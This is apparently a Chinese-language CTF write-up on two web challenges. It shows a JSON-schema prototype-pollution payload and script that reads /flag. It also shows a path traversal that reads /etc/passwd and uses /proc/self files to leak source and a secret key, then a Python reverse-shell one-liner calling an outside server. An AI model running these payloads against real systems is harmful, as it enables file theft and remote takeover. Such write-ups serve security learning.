81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
	function checkType(type,value){
if(type){
if(typeof type == 'string' && type != 'any' &&
(type == 'null' ? value !== null : typeof value != type) &&
!(value instanceof Array && type == 'array') &&
!(value instanceof Date && type == 'date') &&
!(type == 'integer' && value%1===0)){
return [{property:path,message:value + " - " + (typeof value) + " value found, but a " + type + " is required"}];
}
if(type instanceof Array){
var unionErrors=[];
for(var j = 0; j < type.length; j++){ // a union type
if(!(unionErrors=checkType(type[j],value)).length){
break;
}
}
if(unionErrors.length){
return unionErrors;
}
}else if(typeof type == 'object'){
var priorErrors = errors;
errors = [];
checkProp(value,type,path);
var theseErrors = errors;
errors = priorErrors;
return theseErrors;
}
}
return [];
}
if(value === undefined){
if(schema.required){
addError("is missing and it is required");
}
}else{
errors = errors.concat(checkType(getType(schema),value));
if(schema.disallow && !checkType(schema.disallow,value).length){
addError(" disallowed value was matched");
}
if(value !== null){
if(value instanceof Array){
if(schema.items){
var itemsIsArray = schema.items instanceof Array;
var propDef = schema.items;
for (i = 0, l = value.length; i < l; i += 1) {
if (itemsIsArray)
propDef = schema.items[i];
if (options.coerce)
value[i] = options.coerce(value[i], propDef);
errors.concat(checkProp(value[i],propDef,path,i));
}
}
if(schema.minItems && value.length < schema.minItems){
addError("There must be a minimum of " + schema.minItems + " in the array");
}
if(schema.maxItems && value.length > schema.maxItems){
addError("There must be a maximum of " + schema.maxItems + " in the array");
}
}else if(schema.properties || schema.additionalProperties){
errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
}
if(schema.pattern && typeof value == 'string' && !value.match(schema.pattern)){
addError("does not match the regex pattern " + schema.pattern);
}
if(schema.maxLength && typeof value == 'string' && value.length > schema.maxLength){
addError("may only be " + schema.maxLength + " characters long");
}
if(schema.minLength && typeof value == 'string' && value.length < schema.minLength){
addError("must be at least " + schema.minLength + " characters long");
}
if(typeof schema.minimum !== 'undefined' && typeof value == typeof schema.minimum &&
schema.minimum > value){
addError("must have a minimum value of " + schema.minimum);
}
if(typeof schema.maximum !== 'undefined' && typeof value == typeof schema.maximum &&
schema.maximum < value){
addError("must have a maximum value of " + schema.maximum);
}
if(schema['enum']){
var enumer = schema['enum'];
l = enumer.length;
var found;
for(var j = 0; j < l; j++){
if(enumer[j]===value){
found=1;
break;
}
}
if(!found){
addError("does not have a value in the enumeration " + enumer.join(", "));
}
}
if(typeof schema.maxDecimal == 'number' &&
(value.toString().match(new RegExp("\\.[0-9]{" + (schema.maxDecimal + 1) + ",}")))){
addError("may only have " + schema.maxDecimal + " digits of decimal places");
}
}
}
return null;
}

由于我们的目的是将checkObj函数中的propDef[‘default’]修改为/flag,造成原型链的污染

1
2
3
if(value === undefined && propDef["default"]){
value = instance[i] = propDef["default"];
}

而在checkType()函数中,如果要执行checkObj()函数,要满足

1
2
3
}else if(schema.properties || schema.additionalProperties){
errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
}

所以其中

1
2
3
4
5
value = {"$schema": {"properties": {"__proto__": {"properties": {"path":
{"default": "/flag"}}}}}}

schema.properties = {"__proto__": {"properties": {"path": {"default":
"/flag"}}}}

而它循环进入checkProp函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
	for(var i in objTypeDef){ 
if(objTypeDef.hasOwnProperty(i)){
var value = instance[i];
// skip _not_ specified properties
if (value === undefined && options.existingOnly) continue;
var propDef = objTypeDef[i];
// set default
if(value === undefined && propDef["default"]){
value = instance[i] = propDef["default"];
}
if(options.coerce && i in instance){
value = instance[i] = options.coerce(value, propDef);
}
checkProp(value,propDef,path,i);
}
}
}

然后经过

1
for(var i in objTypeDef)

再次进入checkObj函数,此时传入参数为

1
2
3
value = prototype
schema.properties = {"path": {"default": "/flag"}}
path = "__proto__"

此时的value参数已经被指向Function.prototype,再次在这里进行赋值时,instance此时指向Function.prototype,参数i为path,即被propDef[‘default’]修改为/flag,造成原型链污染

其中__proto__的属性来读取或设置当前对象的prototype对象的,目前所有浏览器都有这个属性

所以我们最后进行原型链污染后,可以通过config.js文件中的

1
let content = fs.readFileSync(p).toString()

来读取,所以最后post提交

1
2
 {"$schema": {"properties": {"__proto__": {"properties":
{"path": {"default": "/flag"}}}}}}

借用了大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = ""
flag = r"DASCTF{"
def sol():
try:
print(url+"validated/")
data = {"$schema": {"properties": {"__proto__": {"properties":
{"path": {"default": "/flag"}}}}}}
print(data)
r = requests.post(url=url+"validated/", json=data, timeout=10)
print(r.text)
if flag in r.text:
return True
else:
return False
except Exception as e:
return False

sol()

就可以读取flag了

参考文章:[https://www.cnblogs.com/zyh-code/p/10970110.html]

反弹shell以及proc虚拟文件系统

反弹shell以及proc虚拟文件系统

打开页面,发现是一个输入框,所以随便输入一些东西进去,发现有一个get提交的url参数,我们试着构造

1
/page?url=../../../../../etc/passwd

发现可以读取信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh

所以我们可以尝试读取flag

1
/page?url=../../../../../flag

发现可以读取flag

当然了,如果flag不在这个目录下怎么办呢?我们可以尝试利用proc系统

Linuc下的proc/pid/信息说明

proc是一个虚拟文件系统,它挂载于Linux系统中的/proc目录之上,它有多个功能,其中一个重要的功能是用户可以通过它访问内核信息或排错

进程信息

在/proc文件系统中,每个进程都有一个相应的文件,以下是/proc目录下的一些重要文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/proc/pid/cmdline:包含了用于开始进程的命令

/proc/pid/cwd:包含了当前进程工作目录的一个链接

/proc/pid/environ:包含了可用进程环境变量的列表

/proc/pid/exe:包含了正在进程中运行的程序链接

/proc/pid/fd/:这个目录包含了进程打开的每一个文件的链接

/proc/pid/mem:包含了进程在内存中的内容

/proc/pid/stat:包含了进程的状态信息

/proc/pid/statm:包含了进程的内存使用信息

其中的pid一般是端口号或者是self,可以在本地ubuntu使用

1
cd /proc/

来查看里面的信息

/proc目录的大致介绍

1
2
3
4
5
6
7
8
9
10
1. 【number】:在/proc目录下,每个正在运行的进程都有一个以该进程ID命名的子目录

2. 【number】/cmdline:该文件保存了进程的完整命令,如果该进程已经被交换出内存或僵死,则该文件为空

3. 【number】/cwd:一个符号连接,指向进程当前工作目录

4. 【number】/environ:该环境保存进程的环境变量,各项之间以空字符作为间隔,结尾也可能是一个空字符,可以使用echo /proc/1/environ来查看1进程的环境变量

5. 【number】/exe:是一个符号连接,指向被执行的二进制代码,在Linux2.0或更加版本的下,对exe特殊文件的readlink(2)返回一个如下格式的字符串:[设备号]:节点号
6. 【number】/fd:进程所打开的每个文件都有一个符号连接在该子目录下,以文件描述符命名,这个名字实际上是指向真正的文件符号连接

[/proc虚拟文件系统的详细说明][https://blog.csdn.net/shenhuxi_yu/article/details/79697792]

所以回到题目本身,我们可以构造

1
/page?url=/proc/self/cmdline

来查看开始进程命令为

1
python3 app.py

所以我们可以构造

1
/page?url=/proc/self/cwd/app.py

来读取app.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

通过这串代码

1
2
3
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:

可知,我们需要知道key是什么,所以我们可以使用

1
/page?url=/proc/self/fd/[number]

命令来读取进程打开的每一个文件,其中通过测试number为3,即

1
/page?url=/proc/self/fd/3

发现key,然后经过url编码为

1
C7ueFsNl0ianR6uxTgIqepkLxQDSp0OE5pyPl51XA%2F4%3D

然后通过这串代码

1
2
3
4
5
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

可知,我们可以构造shell参数,来使用反弹shell,由于系统是python文件,所以我们需要一个python写的反弹shell

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

其中ip部分写自己的服务器的公网ip,端口可以写7777,然后在服务器的命令行可以输入

1
nc -lvvp 7777

来监控7777端口,接受反弹shell,但是我的阿里云的服务器用不了,很气人,推荐腾讯云,所以我们可以构造payload,其中shell参数的值需要url编码

1
/no_one_know_the_manager?key=C7ueFsNl0ianR6uxTgIqepkLxQDSp0OE5pyPl51XA%2F4%3D&shell=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2247.242.68.88%22%2C7777))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27

然后就可以获得shell了